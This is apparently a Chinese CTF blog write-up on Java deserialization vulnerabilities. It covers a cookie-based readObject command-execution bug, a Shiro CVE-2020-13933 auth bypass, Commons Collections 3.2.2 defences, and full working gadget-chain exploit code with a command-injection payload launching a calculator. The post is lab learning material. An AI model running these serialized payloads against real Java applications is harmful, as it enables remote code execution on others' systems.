从CTF学习Java反序列化

第一题

环境搭建

  1. 官网下载zip包
  2. 免安装部署tomcat:https://www.huaweicloud.com/articles/12637955.html
  3. 将.war包放在webapps目录下,访问serveraddress:/springmvcdemo自动解压部署

题目分析

  • 访问题目,抓包,提示权限不够。
  • cookie里面的数据base64解码之后有些像序列化流

 

  • 既然有序列化,那么肯定有反序列化,猜测存在反序列化漏洞

代码审计

  • jd-gui工具反编译为Java源代码
  • 在com\controller\PictureController.java看到了鉴权的操作

 

  • 跟进函数看到了这个可序列化的类

 

  • 那序列化与反序列化的点在哪里呢?全局搜索看到了com\tools\Tools.java:

 

  • 漏洞非常明显,Tools类的反序列化自定义readObject方法直接调用ProcessBuilder执行一个系统命令

利用

import java.io.*;

import com.tools.*;

public class SerializeDemo

{

public static void main(String [] args)

{

Tools e = new Tools();

try

{

FileOutputStream fileOut = new FileOutputStream("D:\\tmp\\e.ser");

ObjectOutputStream out = new ObjectOutputStream(fileOut);

out.writeObject(e);

out.close();

fileOut.close();

System.out.println("Serialized data is saved in D:\\tmp\\e.ser");

}catch(IOException i)

{

i.printStackTrace();

}

}

}

其中我们需要重写com\tools\Tools.java的writeObject方法:

private void writeObject(ObjectOutputStream oos) throws IOException {

String[] obj = {"winver.exe"};

oos.writeObject(obj);

System.out.println("writeObject...");

// 省去调用自定义序列化逻辑...

}

将生成的序列化文件转换为base64,替换为cookie即可弹出winver

 

第二题

环境搭建

启动命令,在8080端口启动服务

java -jar javaweb-0.0.1-SNAPSHOT.jar

冷静分析

进去就一个登录框,没啥好说的,白盒题,直接开审。

权限绕过

解压jar包,看源码。在com.ctf.javaweb.controller.IndexController看到了反序列化的入口点:

但是这个触发点是在/index/{name}路由里面,这个路由在com.ctf.javaweb.config.ShiroConfig里面是需要认证才能访问的:

 

看了下lib目录,shiro-core-1.5.3。这个版本修了CVE-2020-11989,但是还有一个CVE-2020-13933

正常访问是这样:

 

绕过姿势是这样的(这里是瞎jr打payload就绕过了):

 

我们可以看到cookie里面返回了Java序列化内容,带着cookie访问返回了hello {{username}}的字符,说明我们传入的cookie被反序列化了。接下来只需要找一条gadget

寻找利用链

看似可利用的LogHandler

com.ctf.javaweb.tools.LogHandler里面看到他继承了InvocationHandler接口(动态代理),并且invoke方法里面调用了com.ctf.javaweb.tools#exeCmd危险方法(而且一看writeLog.replaceAll那里就存在命令注入

package com.ctf.javaweb.tools;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Method;

import java.util.HashSet;

public class LogHandler extends HashSet implements InvocationHandler {

private static final long serialVersionUID = 1L;

private Object target;

private String readLog = "tail /tmp/accessLog";

private String writeLog = "echo /test >> /tmp/accessLog";

public LogHandler() {

}

public LogHandler(Object target) {

this.target = target;

}

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));

return method.invoke(this.target, args);

}

public String toString() {

return Tools.exeCmd(this.readLog);

}

}

看到这里觉得有了个大概思路:

com.ctf.javaweb.tools.LogHandler去代理一个类,当这个类的readObject()执行调用任意方法时,触发com.ctf.javaweb.tools.LogHandler#invoke命令注入

……但是这个class没有实现Serializable接口,貌似不能参与序列化。

看了半天,这个思路走远了。

CommonsCollections的败北
  • CC1和6的折戟

在lib里面看到了有commons-collections-3.2.2.jar,判断服务应该支持打cc链,但是正当我用cc1去梭的时候,却报了500,跑去看日志:

InvokerTransformer是cc1,6能够调用Runtime来执行系统命令的核心,这意味着cc1和cc6被通防了

那么我们能不能避免使用InvokerTransformer,比如直接加载字节码来进行反序列化呢?

  • CC3的夭折

说字节码这得看我cc3,那么用我们现学来的cc3,直接加载字节码:

 

很奇怪,感觉这两两条路基本算是CC链必走的了(可看CC链的神图),结果在网上找到了:

Apache Commons Collections在3.2.2版本中做了一定的安全处理,对这些不安全的Java类的序列化支持增加了开关,默认为关闭状态。涉及的类包括CloneTransformer,ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory,PrototypeSerializationFactory, WhileClosure。
如,InvokerTransformer类重写了序列化相关方法writeObject()和 readObject()。

如果没有开启不安全类的序列化,则会抛出UnsupportedOperationException异常:

 

其实在p神《Java安全漫谈》里面也提到了:

Apache Commons Collections官方在2015年底得知序列化相关的问题后,就在两个分支上同时发布了新的版本,4.1和3.2.2。
先看3.2.2,通过diff可以发现,新版代码中增加了一个方法 Functorut ils#checkUnsafeSerialization,用于检测反序列化是否安全。
如果开发者没有设置全局配置 org. apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会抛出异常。
这个检查在常见的危险Transformer类
( InstantiateTransformer、InvokerTransformer 、PrototypeFactory 、CloneTrans forme
r等)的readobject里进行调用,所以,当我们反序列化包含这些对象时就会抛出一个异常:
java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InstantiateTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
再看4.1,修复方式又不一样。
4.1里,这几个危险Transformer类不再实现Serializable接口,也就是说,他们几个彻底无法序列化和反序列化了。更绝。

在snyk上面也看到了3.3.24.1修复了这个问题,题目使用的3.3.2版本是打不了cc链的。

峰回路转-LogHandler的尝试

既然打不了CC链,那是不是存在其他链呢?其实看到LogHandler不能反序列化的时候,直接一口否定了他的可利用性,并没有去尝试,那么为什么不实际尝试一下呢?

其实再仔细一点,可以发现这个类继承了HashSet,HashSet实现了Serializable接口,貌似可以搞事

开始表演

构造思路直接看注释就懂了

本地测试

import com.ctf.javaweb.tools.LogHandler;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import java.lang.reflect.Proxy;

public class poc{

public static void main(String[] args) throws Exception {

//代理劫持target.transform

Transformer target = new ConstantTransformer("1");

LogHandler handler = new LogHandler(target);

Transformer proxy = (Transformer) Proxy.newProxyInstance(Transformer.class.getClassLoader(), new Class[]{Transformer.class}, handler);

//用transformerChain来触发proxy.transform(cmd)

String cmd = "1&calc";

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(cmd),

proxy,

};

Transformer transformerChain = new ChainedTransformer(transformers);

//触发测试

transformerChain.transform("1");

}

}

 

poc

import com.ctf.javaweb.tools.LogHandler;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import org.apache.commons.collections.map.LazyMap;

import java.io.*;

import java.lang.reflect.Field;

import java.lang.reflect.Proxy;

import java.util.HashMap;

import java.util.Map;

public class poc{

public static void main(String[] args) throws Exception {

//代理劫持target.transform

Transformer target = new ConstantTransformer("1");

LogHandler handler = new LogHandler(target);

Transformer proxy = (Transformer) Proxy.newProxyInstance(Transformer.class.getClassLoader(), new Class[]{Transformer.class}, handler);

String cmd = "1&&gnome-calculator&&";

//构造transformers自动调用proxy.transform(cmd),用于触发invoke

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(cmd),

proxy,

};

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);

//transformerChain.transform("1");//transformerChain触发测试

// 后面是常规cc6,不再使用原CommonsCollections6中的HashSet,直接使用HashMap

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();

expMap.put(tme, "valuevalue");

outerMap.remove("keykey");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");

f.setAccessible(true);

f.set(transformerChain, transformers);

// ==================

// 生成序列化字符串

ByteArrayOutputStream barr = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(barr);

oos.writeObject(expMap);

oos.close();

//序列化流写入文件

try

{

FileOutputStream fileOut = new FileOutputStream("D:\\tmp\\e.ser");

ObjectOutputStream out = new ObjectOutputStream(fileOut);

out.writeObject(expMap);

out.close();

fileOut.close();

System.out.println("Serialized data is saved in D:\\tmp\\e.ser");

}catch(IOException i)

{

i.printStackTrace();

}

// // 本地测试触发

// System.out.println(barr);

// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));

// Object o = (Object)ois.readObject();

}

}

 

  • Commons-Beanutils

cc链打不了,于是转向了lib\commons-beanutils-1.9.4.jar,这个包也是存在gadget的。

2021-8-10

暂时先放放,跟完了链子再来

(yso的cb1可以一把梭,1.9.4版本仍然是没有修复的)

CISCN 2021 Final-ezj4va

给了源码,mvn导入包,本地搭建直接开审

(但是打final的时候是没有公网的,附件只有源码,需要去靶机上面把本地repo拖下来

入手点肯定是controller,IndexController就是个hello world界面+下载源码功能,重点在CartController。

我们可以看到

 

这里定义了三个路由,分别对应三个方法,其中add方法里面有一个Serializer.serialize(cart)很扎眼。

 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值